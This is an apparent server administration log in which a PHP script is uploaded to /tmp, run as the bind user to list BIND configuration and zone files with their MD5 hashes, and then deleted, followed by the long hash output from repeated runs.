MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 15:33:57: Establishing a connection
2026-04-30 15:34:05: Establishing a connection
2026-04-30 15:34:06: 

PUT: /tmp/pkp121878

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 15:34:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp121878; rm /tmp/pkp121878'

2026-04-30 15:34:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 15:34:09: Establishing a connection
2026-04-30 15:34:09: 

PUT: /tmp/pkp162987

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 15:34:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp162987; rm /tmp/pkp162987'

2026-04-30 15:34:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
